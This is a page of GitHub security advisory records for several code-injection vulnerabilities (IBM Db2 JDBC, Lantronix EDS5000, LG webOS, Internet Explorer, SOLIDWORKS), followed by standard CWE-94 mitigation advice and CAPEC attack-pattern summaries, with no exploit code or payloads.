Vulnerability from github – Published: 2023-07-10 18:30 – Updated: 2024-04-04 05:52IBM Db2 JDBC Driver for Db2 for Linux, UNIX and Windows 10.5, 11.1, and 11.5 could allow a remote authenticated attacker to execute arbitrary code on the system, caused by an unchecked logger injection. By sending a specially crafted request using the named traceFile property, an attacker could exploit this vulnerability to execute arbitrary code on the system. IBM X-Force ID: 249517.
{
"affected": [],
"aliases": [
"CVE-2023-27869"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-07-10T16:15:50Z",
"severity": "HIGH"
},
"details": "IBM Db2 JDBC Driver for Db2 for Linux, UNIX and Windows 10.5, 11.1, and 11.5 could allow a remote authenticated attacker to execute arbitrary code on the system, caused by an unchecked logger injection. By sending a specially crafted request using the named traceFile property, an attacker could exploit this vulnerability to execute arbitrary code on the system. IBM X-Force ID: 249517.",
"id": "GHSA-j8xr-8hjf-7jp2",
"modified": "2024-04-04T05:52:00Z",
"published": "2023-07-10T18:30:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-27869"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/249517"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20230803-0006"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7010029"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-J94V-49MV-XQ4H
Vulnerability from github – Published: 2026-03-11 18:30 – Updated: 2026-09-04 21:31An issue was discovered in Lantronix EDS5000 2.1.0.0R3. The Log Info page allows users to see log files by specifying their names. Due to a missing sanitization in the file name parameter, an authenticated attacker can inject arbitrary OS commands that are executed with root privileges.
{
"affected": [],
"aliases": [
"CVE-2025-67036"
],
"database_specific": {
"cwe_ids": [
"CWE-78",
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-11T17:16:51Z",
"severity": "HIGH"
},
"details": "An issue was discovered in Lantronix EDS5000 2.1.0.0R3. The Log Info page allows users to see log files by specifying their names. Due to a missing sanitization in the file name parameter, an authenticated attacker can inject arbitrary OS commands that are executed with root privileges.",
"id": "GHSA-j94v-49mv-xq4h",
"modified": "2026-09-04T21:31:31Z",
"published": "2026-03-11T18:30:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67036"
},
{
"type": "WEB",
"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-069-02.json"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-069-02"
},
{
"type": "WEB",
"url": "https://www.lantronix.com/technical-support/security-updates/vulnerability-disclosure-policy/vulnerability-library/?_gl=16c8bez_upMQ.._gaMzQwNjk5ODI5LjE3ODI5MTM3NTk._ga_M2G6RLT5L3*czE3ODI5MTM3NTgkbzEkZzAkdDE3ODI5MTM3NTgkajYwJGwwJGgw"
},
{
"type": "WEB",
"url": "http://eds5000.com"
},
{
"type": "WEB",
"url": "http://lantronix.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-J98F-J6G4-3JP3
Vulnerability from github – Published: 2024-02-26 18:30 – Updated: 2024-02-26 18:30This vulnerability allows remote attackers to execute arbitrary code on the affected webOS of LG Signage TV.
{
"affected": [],
"aliases": [
"CVE-2024-1885"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-26T16:27:54Z",
"severity": "MODERATE"
},
"details": "This vulnerability allows remote attackers to execute arbitrary code on the affected webOS of LG Signage TV.\n",
"id": "GHSA-j98f-j6g4-3jp3",
"modified": "2024-02-26T18:30:30Z",
"published": "2024-02-26T18:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1885"
},
{
"type": "WEB",
"url": "https://lgsecurity.lge.com/bulletins/idproducts#updateDetails"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-J999-VPR6-2XFJ
Vulnerability from github – Published: 2022-05-14 02:34 – Updated: 2022-05-14 02:34Microsoft Internet Explorer 6 through 9 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Internet Explorer Memory Corruption Vulnerability."
{
"affected": [],
"aliases": [
"CVE-2013-3147"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2013-07-10T03:46:00Z",
"severity": "HIGH"
},
"details": "Microsoft Internet Explorer 6 through 9 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka \"Internet Explorer Memory Corruption Vulnerability.\"",
"id": "GHSA-j999-vpr6-2xfj",
"modified": "2022-05-14T02:34:17Z",
"published": "2022-05-14T02:34:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2013-3147"
},
{
"type": "WEB",
"url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2013/ms13-055"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A16966"
},
{
"type": "WEB",
"url": "http://www.us-cert.gov/ncas/alerts/TA13-190A"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-J9C7-7RGX-JHF8
Vulnerability from github – Published: 2026-03-16 15:30 – Updated: 2026-03-16 18:32A Code Injection vulnerability affecting in SOLIDWORKS Desktop from Release 2025 through Release 2026 could allow an attacker to execute arbitrary code on the user's machine while opening a specially crafted file.
{
"affected": [],
"aliases": [
"CVE-2026-3476"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-16T14:19:48Z",
"severity": "HIGH"
},
"details": "A Code Injection vulnerability affecting in SOLIDWORKS Desktop from Release 2025 through Release 2026 could allow an attacker to execute arbitrary code on the user\u0027s machine while opening a specially crafted file.",
"id": "GHSA-j9c7-7rgx-jhf8",
"modified": "2026-03-16T18:32:03Z",
"published": "2026-03-16T15:30:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3476"
},
{
"type": "WEB",
"url": "https://www.3ds.com/trust-center/security/security-advisories/CVE-2026-3476"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Strategy: Refactoring
Refactor your program so that you do not have to dynamically generate code.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation
For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CAPEC-242: Code Injection
An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.